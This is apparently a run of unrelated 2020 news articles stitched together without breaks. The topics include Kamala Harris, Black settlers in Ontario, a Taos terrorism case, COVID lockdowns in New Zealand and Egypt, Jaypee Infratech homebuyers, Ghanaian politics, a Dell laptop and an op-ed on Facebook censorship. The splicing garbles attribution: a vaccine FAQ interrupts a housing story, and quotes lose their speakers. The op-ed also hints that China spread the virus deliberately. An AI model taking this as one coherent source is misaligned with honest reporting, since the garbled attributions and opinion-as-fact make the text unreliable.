loyalty and suggesting her main goal was her own advancement, though defenders noted that is rarely a demerit against male candidates. Biden was later photographed holding notes that emphasized he does not hold grudges against her. Harris took more liberal positions than Biden on the campaign trail on a number of issues sure to draw Republican attack ads, including health care and immigration. During the primary debates, she raised her hand when moderators asked for a show of who would eliminate private health insurance and decriminalize crossing the border into the U.S. illegally. Harris walked back or explained both positions subsequently, but the Trump campaign could easily seize on the clips for commercials. And while Harris has drawn from her prosecutorial and personal experience to speak on police reform, progressives have attacked that record as not living up to the values she speaks to today. Theyve criticized her for actions she took as district attorney and attorney general, such as prosecuting marijuana offenses. They also criticize parts of her record on criminal justice issues, including a filing in a court case while she was attorney general that argued against releasing low-level offenders from prison because it would reduce the number of inmates available to fight wildfires. Harris later said she was unaware her offices lawyers had made the argument and asked them to stop. Gabrielle Lurie / The Chronicle All Im asking 4 in a VP 1) A woman of color 2) Has a modest amount of progressive bonafides 3) Isnt a Prosecutor, war monger, cop, or architect of mass incarceration (Biden already represents this spot on the ticket) 4) Will be accessible and engaged with voters & movements, Jennifer Epps-Addison, president of the progressive group Center for Popular Democracy tweeted in April, a sentiment she has echoed many times. Lee, however, is one notable progressive who defends Harris. As district attorney and attorney general, Lee said, Harris worked more than most prosecutors to find alternatives to incarceration, took on big banks and promoted diversity among her staffs. I think her record is very clear, and shes addressed her record in a very forthright manner, Lee said on The Chronicles Its All Political podcast in June. She knows the criminal justice system, and certainly she knows how it needs reforming, and she did quite a bit of that in California. Tal Kopan is The San Francisco Chronicles Washington correspondent. Email: tal.kopan@sfchronicle.com Twitter: @talkopan The first Pennsylvania Germans who settled in Waterloo County had planned their move carefully. Collectively and individually, wagons were packed and well-provisioned laden with supplies intended for survival in a new and unknown land. They carried tools to fell the forests and till the land. In time, under their direction, the land took on a new identity as farmland and single-owned properties replaced old growth trees and Indigenous settlements. Of those Pennsylvania Germans who settled here, many were blood relatives or extended family friends who made the journey together in solidarity for a new life. One might say loosely that they brought their community with them as their plans for survival leaned heavily on mutual support. But there are other settler stories to tell. Not everyone arrived here with a well-stocked wagon or a group of neighbours to help them. Imagine, if you will, life on the run. With little more than the clothes on their backs, those fleeing from the cruel bondage of life as a slave faced untold hardship and an equally uncertain future. Would they die as they made their way to freedom? Would they be caught and delivered back into the darkness from which they had fled? Would they be betrayed only to face further abuse and confinement? Would the risks they took to find freedom be for naught? While some were captured and returned to slave owners, others pressed onward into the unknown. Theirs is the story of true resilience in the face of despair. For one such man, his story proves that there are many ways to cultivate community. Paola Brown was born in Pennsylvania around 1807. In 1828, arriving first in the town of Niagara, he made his way to Hamilton, where his leadership qualities emerged. During his residency in Hamilton, Brown supported himself and his wife by working as a handyman, even securing a job as a town crier. He was popular and had a charismatic demeanour. Dreaming of independent land ownership, Brown convinced some of his neighbours to journey north with him to a remote area in Woolwich Township in order to establish their own community. In 1832, Brown, accompanied by 34 ex-slaves, settled in an area known as Crooks Tract (near modern-day Winterbourne) and named their new settlement Colbornesburg. The land Brown and his neighbours settled was wild and heavily forested. None of the Black settlers, in contrast with their white Mennonite neighbours, owned horses but at least three of the families owned oxen which are better suited to logging and breaking soil, anyway and so began the laborious task of establishing homes and planting crops. In time, they also established a church and a school to serve their small community. Unfortunately, life for these settlers was very difficult and by 1837 almost everyone had left the settlement. Brown moved back to Hamilton where he openly advocated against slavery. He often held public lectures there that, according to newspaper accounts, were well attended. Brown gained the support of several prominent citizens and, by 1852, the census recorded him as living in the basement of the offices of Hugh Bowlby Willson, a prominent Hamilton lawyer and land speculator. In time, although Brown disappeared from the local record, the fate of his neighbours is more clear. Some of the Black settlers moved northeast, to the village of Conestogo. The majority, however, settled along the boundary between Peel Township (Wellington County) and Wellesley Township (Waterloo County) in the area known as Queens Bush. Most of the group settled initially as squatters and although the land was considered to be a wilderness, wild game abounded and streams were full of fish. Most importantly, the soil was rich for agriculture. Many hoped that with hard work they would be able to save enough to be able to purchase their land outright but it would be years before the government would eventually survey the area (and price it out of reach for those who had cleared the land and improved its worth). Although isolated geographically from the larger towns of Berlin and Waterloo, the settlers received gestures of neighbourly support from local Mennonite merchants, such as Henry Sauder Huber, who provided them with bags of seed to plant to be repaid only when and if they could. At other times, the aid was mutual, as offers of paid employment on Mennonite farms provided necessary funds for the settlers to survive. In 1848, there were 1,500 Black residents living in Queens Bush. By the 1851 census, the numbers had dwindled to a remaining 237 still in residence. With the price of surveyed farmland now out of reach for many to purchase outright, these settlers were forced to make a difficult decision stay on the land they had cultivated or leave in search of other prospects? Of those who left the rural Queens Bush area, some relocated to Berlin, which was booming economically, offering employment opportunities in a growing manufacturing sector. Others dispersed and moved on to the Hamilton-Niagara, Chatham-Kent and Windsor areas. Evidence suggests a few returned to the United States with hopes of reuniting with family members who had been left behind. At least one couple, John and Eliza Little, is known to have relocated to Haiti, where land speculators had advertised cheap land for independent ownership. Some of these brave settlers, however, remained on the land in the community that they had helped to cultivate although, perhaps, not because they had chosen to do so. In a small cemetery near Wallenstein, located on the 4th Line in Mapleton Township, crumbling gravestones remind us of the hard-fought legacy of Black settlers the hopes and dreams for a life of freedom. May they rest in peace and honour. Copyright 2020 Albuquerque Journal One of the defendants in a terrorism case out of Taos County has been deemed incompetent to stand trial. Lucas Morton, 42, will now undergo treatment to attempt to gain competency, according to court documents. Morton and four others Siraj Ibn Wahhaj, Subhanah Wahhaj, Hujrah Wahhaj and Jany Leveille are charged in federal court with conspiracy to murder an officer or employee of the United States, providing material support to terrorists, kidnapping, conspiracy to commit an offense against the United States and other charges. The defendants were arrested in August 2018 while living with their 11 children, ages 1 through 15, in a makeshift compound in Amalia, near the Colorado border. The remains of 3-year-old Abdul-Ghani Wahhaj, Siraj Ibn Wahhajs son, were later found on the property. The group is accused of gathering weapons and ammunition and using the compound to train the children to carry out terrorist attacks on educational, governmental and law enforcement institutions. According to an order filed last week by federal Judge William P. Johnson, Mortons attorneys filed a motion in January to determine Mortons competency. In February, the motion was granted and Morton was referred to the Bureau of Prisons for a competency evaluation. In May Dr. Jessica Micono filed a report that says Morton suffers from a disorder that significantly impairs his present ability to understand the nature and consequences of the court proceedings against him, and determined he was incompetent to stand trial, the order says. Micono recommended that Morton be committed to a federal medical center for restoration of competence and that his prognosis for restoration appears to be positive. Therefore, the Court hereby finds Defendant Lucas Morton incompetent and (is) committing him to the custody of the Attorney General for placement in a suitable facility, Johnson wrote. The order says the U.S. attorney does not object to Miconos findings. The five adults were initially charged with child abuse in state court after children at the compound were found to be malnourished. The charges were dismissed after Taos County prosecutors missed court deadlines. The defendants were later indicted on federal firearms charges in September 2018 and on terrorism charges in March 2019. Abdul-Ghani reportedly suffered from hypoxic ischemic encephalopathy, a condition that caused severe seizures, and was not given his medication. The children told federal agents that Abdul-Ghani would be resurrected as Jesus and would identify the institutions to attack. An older man in his 50s, with no history of overseas travel, along with three more members of his family have tested positive for the virus. New Zealand Prime Minister Jacinda Ardern on Tuesday announced that Auckland will be going into lockdown as authorities have found four new cases of the Coronavirus in one household. This is the first case of local transmission in the country in 102 days, which was a new milestone for the Pacific island nation. According to a report by the NZ Herald, the new case is an older man in his 50s who was showing symptoms and had tested positive. In his family of six, three other people have also tested positive. He has no history of overseas travel. His close contacts will be isolated for 14 days and casual contacts are also being isolated. No one will be able to leave until they test negative. Ardern said Auckland, the nations largest city, will be moved to Level 3 for three days starting from midday tomorrow, Wednesday to midnight on Friday. This means that people will be asked to stay at home and bars and many other businesses will be closed. However, the rest of the country will be raised to Level 2 from midday tomorrow, Wednesday until midnight on Friday. "We're asking people in Auckland to stay home to stop the spread," Ardern said during a public announcement. "Act as if you have COVID-19, and as though people around you have COVID-19." She also advised against panic buying as essential services, pharmacies and supermarkets will be open. "We have come too far to go backwards. Be strong and be kind," she said. "We know what to do because we have successfully done this before." It was only two days ago that the director-general of health Ashley Bloomfield was warning against complacency in the country and cited the examples of countries like Australia and Vietnam. "Achieving 100 days without community transmission is a significant milestone, however, as we all know, we can't afford to be complacent," Bloomfield had warned. "We have seen overseas how quickly the virus can re-emerge and spread in places where it was previously under control, and we need to be prepared to quickly stamp out any future cases in New Zealand." She said these cases are a wake-up call against complacency. Also Read: New Zealand crosses 100 days without any new domestic COVID-19 cases; WHO hails milestone as exemplary Wellington: Two Christchurch retirement villages were put in partial lockdown on Tuesday after a number of residents began displaying signs of respiratory illness. However officials said the measures were precautionary and the residents were highly unlikely to have the virus. Several residents at The Village Palms Retirement Village in Shirley were swabbed for COVID-19, and family members of residents were notified about the lockdown on Tuesday. Residents of an aged care facility in Christchurch have reported respiratory illness symptoms. Credit:Virginia Star A Canterbury medical officer of health, Dr Cheryl Brunton, confirmed a GP had taken the swabs, which were now being tested. What were dealing with are people who are violating the law because they are carrying guns, Bowser said in response to a reporters question about enforcement of the restrictions. Youre asking me to highlight a mayors order that you cant gather or you must wear a mask to a person who has a gun who will shoot it into a crowd of girls. We have to think of a new way to communicate to a person who will do that. President Muhammadu Buhari on Monday urged citizens all over Nigeria to be patient with the Government, especially in areas of security and Medicare. In a social media statement, Buhari said; We are working very hard to ensure the security situation in every part of Nigeria improves very soon. As part of our efforts, we are investing heavily in acquiring modern equipment. Some have arrived, some are being cleared at the Ports, and we have others still on their way. Our government is doing its best on the question of equipment, and the military know. We understand the importance of properly equipping our personnel, so that they can deliver their best. I ask for some patience with the acquisition of equipment, especially with the impact of Covid-19 on global supply chains. And then when the equipment arrive, we need to train personnel for their usage, ahead of deployment to the field. I want all Nigerians to rest assured that we are doing our very best in this regard. You will see substantial improvements very soon. Security of the lives and property of all Nigerian people will continue to be a priority for us. Meanwhile, former Deputy Governor of the Central Bank of Nigeria (CBN), Obadiah Mailafia claimed that the Government is unable and as well not interested in protecting the lives of its citizens, as Fulani herders plans starting a Civil War in the country. According to him, there is every reason to say that the Nigerian government are part and have a hand in the killing spree of bandits and terrorists alike. Obadiah who spoke in a radio interview recently says that he has a body of intelligence that have met with some of these bandits and can categorically tell their intentions for carrying out these killings. He stated that evidences can be drawn from their replies when they said the killings in Southern part of Kaduna are for revenge purposes and nothing more. The body language of this administration and that of the government, proves further that they are aware and have huge role played in the killings of Nigerians, he said. File Image A week after the Supreme Court reinstated the interim resolution professional to manage the affairs of embattled firm Jaypee Infratech, the process of registering the housing units has restarted and would be ramped up in the next two to three weeks, IRP Anuj Jain told Moneycontrol. No new letters have been issued to homebuyers in the last one week. We had issued more than 8,000 letters of possession before March 2020 of which around 3,000 units were not registered. We have now restarted the registration process tower wise. The registration offices were shut for the last two months on account of COVID-19, he said. The registration process has now recommenced post the pandemic and it will take another two three weeks to become fully functional. Customers can get in touch with the customer care department and they will take it up but no new additional communication has been made, he added. But are Wishtown units that would be registered completed in every respect? COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show As per the process, the buyer first intimates the company that he is interested in taking over the unit. The customer then has to clear all his dues and finally register the unit with the authority. The final finishing work takes place in two phases registration and then handover. Typically, the real estate company receives the remaining 5 to 10 percent of the amount before registration of units and in case of Jaypee most buyers have already paid 95 percent. Before registering their units, buyers would have to clear all their dues, he said. A well-defined process has to been followed for registering the Wishtown units Appointments have to be booked through the online portal. Allottees have to follow certain precautions on account of COVID-19 such as wearing marks and carrying their sanitisers, he said. Some homebuyers have started receiving calls from the Jaypee registration cell informing them of probable dates of registration. This is welcome news, said Krishan Mitroo, a Wish Town buyer, adding. It would ensure that at least completed homes are registered soon. A homebuyer Moneycontrol spoke to said he has paid up the entire amount to the company and has an appointment fixed for registering his unit on August 24. I would want to get my unit registered as soon as possible because if I dont I will have to continue paying both EMI and rent. I have waited far too long. While I received my letter of possession in March, I could not complete the registration work because the bank work took almost two months and then the lockdown was announced, he said. He has been informed that he would receive the completed unit only after 60 days of registering his unit. There is still a lot of work to be completed the kitchen work, flooring, windows and doors are still incomplete. Work on common areas is also pending, he says. He points out that the builder has charged him an interest amount of Rs 50,000 as penalty due to delay in interest repayment despite his inability to visit the developers office on account of the pandemic. The builder has charged me Rs 50,000 as a penalty for delaying payment. He has also increased the price of the unit from Rs 31 lakh to Rs 37 lakh, he says. Other homebuyers fear that if even they get their units registered, there is no guarantee that it would be completed in all respects. While the tower is structurally ready, the entire infrastructure is not in place especially the lifts and the parking area. A lot of work is still pending. How can we be sure that it would be completed after we get our units registered, said another buyer. The Supreme Court on August 6 transferred to itself the appeals pending before the National Company Law Appellate Tribunal (NCLAT) against the NBCC plan to acquire debt-ridden Jaypee Infratech and construct over 20,000 pending flats. The top court said all the appeals before NCLAT and the apex court will be heard together to avoid further delay in the execution of the scheme. A bench of Justices A M Khanwilkar and Dinesh Maheswari said that in the meantime, the Interim Resolution Professional (IRP) would continue to manage the affairs of the company. On April 22, the NCLAT had asked NBCC to implement its proposal to acquire debt-ridden Jaypee Infratech and complete over 20,000 pending flats but said that its direction was subject to its final order. The NCLAT's direction had come over a plea moved by the NBCC, which won the bid to acquire Jaypee Infratech. The NBCC's resolution plan has already been approved by the National Company Law Tribunal (NCLT), but appeals were filed against the order by the Jaypee Group as well as the NBCC. The appellate tribunal had also directed Jaypee Infratech's IRP Anuj Jain to constitute an interim monitoring committee, comprising representatives of the NBCC and its three main lenders IDBI Bank, IIFCL and LIC. The NBCC has challenged the modifications made by the NCLT in the original resolution plan submitted by it and as approved by the committee of creditors (CoC) of Jaypee Infratech Ltd (JIL). While approving the resolution plan of NBCC, the NCLT had allowed objections of ICICI Bank and Yamuna Expressway Industrial Development Authority and directed payment to unclaimed Fixed Deposit Holders. On March 3, NCLT had approved NBCC's bid to acquire JIL through an insolvency process and complete over 20,000 pending flats over the next three and half years. Those who lost their lives in the fire at Vijayawadas five-storey Swarna Palace hotel, taken on lease by Ramesh Hospital, are more than mere statistics Back-to-back early morning blazes in private Covid facilities, claiming eight and 11 lives respectively, should be seen as a much-required wake-up call for state governments. Fire services are under the 12th Schedule of the Constitution and fall in the domain of urban local bodies. These have an abysmal performance record when it comes to enforcing fire safety guidelines. After the tragedy, however, a fire safety check has been ordered on all hospitals in Andhra Pradesh. Several states and municipal corporations all over India have followed suit. It is likely to open a can of worms. Already, the fire service department has reported that over 250 hospitals under the jurisdiction of the Greater Visakhapatnam Municipal Corporation have not obtained no-objection certificates. In Hyderabad, in neighbouring Telangana, 90 per cent of its 1,700 hospitals are not following fire safety guidelines. The National Building Code of India, 2016, stipulates regulations required for fire prevention and life safety for buildings. These regulations relate to design and construction; building materials; occupancy features necessary to minimise danger to life; smoke; equipment and installations and guidelines for fire drills and evacuations. Also, according to the Model Building Bylaws, 2003, building plans have to be referred to the chief fire officer. However, like road safety, fire safety continues to stay on paper. Unplanned construction in densely-populated areas remains the biggest threat. Only 30 per cent of cities have a fire master plan, which in most cases is outdated. Those who lost their lives in the fire at Vijayawadas five-storey Swarna Palace hotel, taken on lease by Ramesh Hospital, are more than mere statistics. Among them was Sabbithi Abraham, a pastor who had recently recovered from the disease but who stayed back to be with his wife, Raja Kumari. Raja Kumari, too, died in the disaster. Another patient, C. Pawan Sai Kisan, was the one to call up the police upon discovering the fire. The hotels fire alarm had not been working. In both cases, a short circuit was the event that led to the blaze. In the Swarna Palace blaze, the hotel as well as the hospital knew of the presence of defects in the air-conditioning system and wiring but had not bothered to carry out repairs. The hotel did not have a fire safety certificate. As was the case with Ahmedabads Shrey Hospital, which is owned by Bharat Mahant, who defected to the BJP last year. A common refrain is that private hospitals are capitalising on peoples reluctance to avail care at government hospitals during this crisis and are charging exorbitant fees. Ramesh Hospital, for instance, was charging its Swarna Palace patients a daily package of `5,000 in addition to treatment and other charges. However, governments are reluctant to rein them in as yet. Source: Xinhua| 2020-08-12 06:07:21|Editor: huaxia Video Player Close CAIRO, Aug. 11 (Xinhua) -- Egypt's Health Ministry reported on Tuesday 168 new COVID-19 cases, raising the total infections in the country to 95,834. It is the 10th consecutive day for Egypt's COVID-19 daily infections to fall below 200. The daily count started to exceed 200 on April 23 before hitting a record 1,774 on June 19. Meanwhile, 24 patients died from the novel coronavirus, taking the death toll to 5,059, said Egypt's Health Ministry spokesman Khaled Megahed. Megahed added that 1,109 coronavirus patients were cured and discharged from hospital in the past 24 hours, increasing the total recoveries to 54,888. Egypt has recently banned anyone without a recent negative PCR test from entering the country, except for tourists arriving at the airports of Sharm El-Sheikh, Hurghada, Taba and Marsa Alam, via direct flights. The most populous Arab country announced its first confirmed COVID-19 case on Feb. 14 and the first death from the highly infectious virus on March 8. From the first week of July, the daily new coronavirus fatalities and infections in Egypt started to gradually decline along with an increase in daily recoveries. Egypt and China have been cooperating closely in fighting the pandemic through exchanging medical aid and expertise. In early February, Egypt provided aid to China to help with its fight against COVID-19 and China later sent three batches of medical aid to the North African country. Enditem Since May, four teens, all students at schools in the Kansas City, Kansas School District, have been shot and killed in separate incidents. The most recent was Jose Kimble Manning, who was shot and killed near 62nd Street and Nebraska Avenue."Violence in our neighborhood is up now. The General Secretary of the ruling New Patriotic Party (NPP), John Boadu, has descended on the opposition National Democratic Congress (NDC) flagbearer, John Dramani Mahama, for what he describes as his adoption of a 'hate for votes' as his campaign strategy. Addressing a press conference yesterday at the Alisa Hotel in Accra to state the party's position on the just-ended voters' registration exercise, John Boadu berated what for him is the cornerstone of the NDC flagbearer's campaign strategy of pitting one tribe against the other for electoral leverage. The tribalism ruse, John Boadu said, is intended by the NDC to create schisms among the country's ethnic groupings, adding that the NDC has been playing the tribalism card for many years, but it will not succeed this time around because the public is wide awake. But what he should know is that he (John Mahama) cannot fool Ghanaians with this 'hate for vote' campaign he pointed out. He said Mr. Mahama and his NDC's main message for the 2020 election is tribalism, and they cannot show any serious policy alternative. This remark comes on the heels of the recent claim by the former President that the NPP is 'misusing the military' in reference to the deployment of soldiers to the border areas to enforce the presidential shutdown of those areas as part of anti-Covid-19 measures. In a manner falling short of inciting the people in a veiled manner, he told party supporters in the Volta Region during a visit recently that I have been briefed on what is happening and I will continue to urge them to exercise restraint. We know the intimidation that is going on and how it has affected their livelihoods because they cannot move freely on their own lands, but I still ask them to exercise restraint and encourage them in their numbers to come out and register ahead of the 2020 general election. John Boadu demanded of the NDC flagbearer to apologize to Ghanaians for creating fear and panic in the country. NPP Vigilance The NPP scribe told the media that the vigilance of the party stopped ineligible persons mostly foreigners from registering to vote in the country. A record number of foreigners have been stopped from registering in the just-ended exercise. While some foreigners have been jailed already for using foul means to register but caught eventually, others are still in court awaiting the outcome of the judicial process. Thumbs Up To EC Giving a thumbs up to the EC for a job well done, the NPP the General Secretary said the party had been consistent in stressing that the old voter register was defective and not fit for the purpose of being used for elections. One of the issues we had with the old register was that it was bloated, he said. Indeed, the numbers from the current register vindicate that position. Until recently, the EC had always disagreed with us on our position that the register is bloated. Indeed, after we mounted pressure, the EC, under the then Chairperson, Madam Charlotte Osei, empanelled the late Justice VCRAC Crabbe and others, in October 2015 to hear proposals, collect and collate views from the stakeholders, analyze the views and make recommendations to the commission, he said. In their report, the Crabbe panel vindicated NPP's position that the register was bloated, he recalled. The panel established that the old register contained several categories of ineligible registrants, including multiple registrations, names of minors, names of foreigners and deceased persons, he noted. After its analysis of facts before it, the Crabbe Committee, he said, stated in page 10 of their report that there is evidence that the register of voters contains a substantial number of people whose names are currently not valid. By all indications, the number of registered voters is not only unusually high but also it may be in excess of the potential number. Based on the 2012 projected population of Ghana, provided by the Ghana Statistical Service, and discounting the population of foreigners, there were about 150,000 more individual records in the register of voters than the 2012 estimated population of persons aged 18 years and holders of Ghanaian nationality. This would include some thousands of minors who were wrongly registered he pointed out. On the issue of dead people in the register, he recalled that the committee observed on page 14 that further analysis of data, based on the reported number registered in 2012 and 2014, shows that as many as 580,000 estimated number of voter deaths would have occurred cumulatively by the 2016 elections and may well remain in the register of voters. It is not clear how many of these deaths have actually been identified and their records expunged from the register through the established procedure. In effect, the point the NPP is making here today, he said, is that the fact that the old register is bloated cannot be disputed. Eventually, the EC itself decided to compile a new register. Had the commission maintained the old register and conducted a limited registration exercise in all electoral areas and registration centres across the country, he said we would have estimated to conservatively add about two million Ghanaians on to the existing register. In a country where the outcomes of general elections have sometimes been determined by less than 50,000 votes, three million illegal registration entries or votes make a significant impact on the integrity and credibility of elections. Indeed, the VCRAC Crabbe panel made this point as well as the NPP. Mahama On Exercise The NDC flagbearer who fought against the compilation of a new voters register has admitted that the exercise has been successful. I think the exercise met our expectations [Over 16 million registrants] are within the range that one would have expected, he said during an interview after the curtains were drawn over the exercise. He reportedly said that initially we had strong objections to compiling a new register. We believe that we could use the old register because by ages of registers it [the old register] was still relatively young and because we had not done the population census, we said that 'why don't we use this one and if we do the population census we will have an accurate data and then we could go ahead and do it, he explained in the interview. ---Daily Guide FP Trending Dell has launched the new Latitude 7410 Chromebook Enterprise, which is a 14-inch premium business laptop. According to the company, the device boosts productivity with on-the-go power, sophisticated security and fast connectivity. The gadget has been co-engineered with Intel as part of the Project Athena innovation program, and offers LTE mobile broadband, Intel WiFi 6 and up to 10th Gen Intel Core i7 processors to boost productivity and performance. According to senior vice president, Commercial Product Group, Dell Technologies Rahul Tikoo, the Latitude Chromebook Enterprise is designed equal parts for employees and IT managers adopting Chrome OS in the enterprise. "Employees will appreciate its sleek design and collaboration features that help them navigate new work dynamics, he said in an official statement. He further said IT managers will get management and security features they expect when working in a corporate environment. The key features of the Latitude 7410 Chromebook Enterprise include the first-ever 4K panel with Low Blue Light display available. The technology offers better readability to the device and is easy on the eyes. The 7410 Chromebook Enterprise has up to 21 hours of battery life and can charge quickly from 0 to 35 percent in as less as 20 minutes. It can get up to 80 percent charge with Express Charge as well. Users can choose between machined aluminum or carbon fiber when purchasing the device. Elaborating on security, John Solomon, Vice President of Chrome OS at Google said that IT administrators need innovative technology solutions to support their modern cloud-first businesses and thus they are thrilled to expand their Chromebook options for enterprise customers with the Latitude 7410 Chromebook Enterprise. Ashwini M Sripad By Express News Service BENGALURU: When most of the candidates who were taking SSLC exams were holding pen and paper preparing for the examinations, Mahesh B (17) was holding a trowel and working in a construction building. He took a break from work only five days before the exams and on Monday when results came he was one of the toppers. Out of 625, he scored 616 marks . Mahesh, who hails from Yadgir, stays with his mother and two brothers at Malleshpalya. He studied at a government school (Karnataka public school in Jeevanbimanagar) which is some 5 km from his house. He would take a BMTC bus to school. Forget private tuitions , his school did not have regular teachers for Kannada and Hindi. Our social studies teacher who was about to retire completed the Kannada portions for us. We somehow managed Hindi, he said. His father passed away when Mahesh was five years old. His mother Mallamma who has never gone to school works as a domestic help. His elder brother does odd jobs from construction work to driving a tempo. Just before the lockdown, the brother went in the tempo to Yadgir. Thats when lockdown was announced and my brother got stuck, Mahesh said. Those were difficult days for us. Mother neither had a job nor money. Fortunately we got a ration kit from the BBMP, he said. Maheshs younger brother is now in class eighth. What was his success mantra? I would concentrate on the difficult lessons. I relied on just the textbooks and notes. I was expecting more than 90 per cent. But I did not expect such a high score. He wants to become a teacher and has requested Education minister S Suresh Kumar to appoint teachers in all government schools. What we faced, others should not face, he said. Two weeks ago, I wrote that the social media giants are refusing to allow people to publish anything about the Wuhan virus that contradicts information from the World Health Organization. This censorship hit close to home on Monday, when Facebook banned an American Thinker reader from posting William Sullivan's post about Sweden's successful decision not to implement lockdowns. Nobody questions the fact that the social media giants Twitter, Facebook, and Google/YouTube have way too much control over American discourse. Americans believe they're participating in a free exchange of ideas, but they're learning that they're actually communicating within a censorious, controlling environment that takes its marching orders from the Democrats and, even more worrisomely, from China (at least indirectly): Think about this: the largest platforms in America for ordinary citizens who want to share and learn information have made it clear that no one can talk about Wuhan virus issues if the WHO has not preapproved the data. Frankly, it's a terrible idea to have the WHO as the gatekeeper. The Wuhan virus began in China. It may have been accidental, or, as even the most level-headed people are wondering, it might not have been. Regardless, China consistently lied about it, either to hide its mistakes or to spread the virus and damage the world economy. The WHO actively aided China's deceit. Katie Pavlich summed up the evidence, showing that the WHO had information in December that there was a dangerous virus on the loose but that it continued to report Chinese propaganda as fact, even after it was apparent that China was lying. Mike Pompeo asserts that U.S. intelligence shows that China paid to install WHO's current head, Tedros Adhanom Ghebreyesus. (Tedros denies this charge.) A reader notified us that when he tried to post William Sullivan's "Lockdowns Never Again: Sweden Was Right, and We Were Wrong" to Facebook, he received the following notice: Your post goes against our Community Standards on misinformation that could cause physical harm. No one else can see your post. We encourage free expression, but don't allow false information about COVID-19 that could contribute to physical harm. Think about that: there is nothing false in William Sullivan's article. Instead, he sets forth facts about what's happened in Sweden, which he contrasts with America. Then he gives it as his opinion that Sweden made the right decision. From China's perspective, America made the right decision because it trashed its economy, something that works to China's benefit. Facebook gave our reader the chance to appeal the decision, except it didn't really. Instead, when he disagreed with the decision, he got a politely phrased "go away": We usually offer the chance to request a review, and follow up if we got decisions wrong. We have fewer reviewers right now because of the coronavirus (COVID-19) outbreak. We're trying hard to prioritize reviewing content with the most potential for harm. This means we may not be able to follow up with you, though your feedback helps us do better in the future. Thank you for understanding. The Civil Rights Act of 1964 said places of public accommodation such as hotels and restaurants may not turn people away based upon their race, sex, creed, etc. Some people think Congress needs to enact similar legislation to address social media giants. Doing so is unnecessary. We already have all the laws we need to clip their wings. I contend that, because social media controls almost all communications in America, it is a public accommodation for free expression. The First Amendment of 1791 therefore perfectly addresses and prohibits what these organizations are doing. The fact is that, thanks to Section 230 of the Communications Decency Act, the social media giants are enjoying the best of both worlds: they act like publishers (that is, they control content), yet they're protected from litigation because they're identified as the equivalent of bulletin boards. They can't have it both ways. Either they bow to all free speech except for illegal speech (child sex-trafficking, direct incitements to violence or other crimes, etc.), or they acknowledge that they're publishers, opening the way to some lovely lawsuits. Thankfully, President Trump has taken steps to bring the social media giants to heel with his Executive Order on Preventing Online Censorship. Putting his executive order into effect is yet another reason to re-elect Trump in November. Given that the social media giants are all in for Democrats, the executive order will vanish the moment a Democrat steps into the Oval Office. Image: Censored Stamp by Piotr VaGla Waglowski (http://www.vagla.pl), public domain work. Current Print Subscribers will be prompted to either login to their current site user account or to create a new one. A confirmation email will be sent when a new user account is created, which must be confirmed within three days in order to provide uninterrupted online access through your Print Subscription. Once the email address is confirmed please provide your Account Number to activate your Print Subscription Service. India seeks to impose provisional anti-dumping duty on imports of black toner in powder form orginating in or exported from China, Malaysia. (AP Photo) NEW DELHI: India seeks to impose provisional anti-dumping duty on imports of black toner in powder form orginating in or exported from China, Malaysia and Chinese Taipei for six months, according to a government order issued on Monday. The duty on a tonne of black toner would range from $196 for imports from Chinese Taipie, $1,686 for imports from Malaysia and $834 for those orginating in or exported from China, it said. In international trade parlance, dumping happens when a country or a firm exports an item at a price lower than the price of that product in its domestic market. Dumping impacts the price of that product in the importing country, hitting margins and profits of manufacturing firms. According to global trade norms, a country is allowed to impose tariffs on such dumped products to provide a level-playing field to domestic manufacturers. The duty is imposed only after a thorough investigation by a quasi-judicial body, such as DGTR, in India. The imposition of anti-dumping duty is permissible under the World Trade Organization (WTO) regime. The duty is aimed at ensuring fair trading practices and creating a level-playing field for domestic producers vis-a-vis foreign producers and exporters. The prime minister appealed for better coordination between Central and state agencies as part of a permanent system to predict floods New Delhi: Prime Minister Narendra Modi on Monday underlined the need for a better coordination between all the central and state agencies to have a permanent system for forecasting of floods. He also stressed on extensive use of innovative technologies for improving the forecast-and-warning system. The prime minister made these remarks at a virtual meeting with the chief ministers and representatives of six states to review the flood situation in various parts of the country. The states that attended the meeting, which was convened to review their preparedness to deal with the southwest monsoon and the current flood situation in the country, were Assam, Bihar, Uttar Pradesh, Maharashtra, Karnataka and Kerala. A statement from the Prime Minister's Office (PMO) said at the meeting, Modi highlighted that the investments in localised early warning systems should be increased so that the people of an area can be cautioned on time in case of a threatening situation such as breached river embankments, inundation or lightning. Bihar chief minister Nitish Kumar drew the prime minister's attention to the alleged non-cooperation of Nepal in managing floods that have ravaged the state's northern districts. Rivers originating in the neighbouring country have inundated several districts in Bihar. Kumar said the state authorities are "not receiving full cooperation from Nepal for the past few years" and sought the Centre's intervention in the matter. According to a statement issued by the Maharashtra government, it demanded setting up of a committee under the prime minister for tackling crisis situations in states and ensuring a better coordination. Chief Minister Uddhav Thackeray also sought an immediate central assistance for Maharashtra in view of the 3 June Cyclone Nisarga that caused widespread damage in the state's coastal districts and the 5 August downpour and heavy winds that battered Mumbai. The Karnataka government said it requested the prime minister to provide an additional special assistance of Rs 4,000 crore to handle the flood situation in the southern state. Karnataka Home Minister Basavaraj Bommai said according to an initial assessment, the state had suffered a loss of Rs 4,000 crore due to the floods. "It is a preliminary estimate because the rains are continuing. A proper survey has to be done," he said. The home minister represented Karnataka at the virtual meet as Chief Minister BS Yediyurappa is suffering from COVID-19. He was discharged from the hospital on Monday. The meet, which lasted for nearly an hour and a half, was also attended by Defence Minister Rajnath Singh, Health Minister Harsh Vardhan, Ministers of State for Home Nityanand Rai and G Kishan Reddy, and senior officers of the central ministries and organisations concerned. The prime minister asserted that in view of the COVID-19 situation, the states 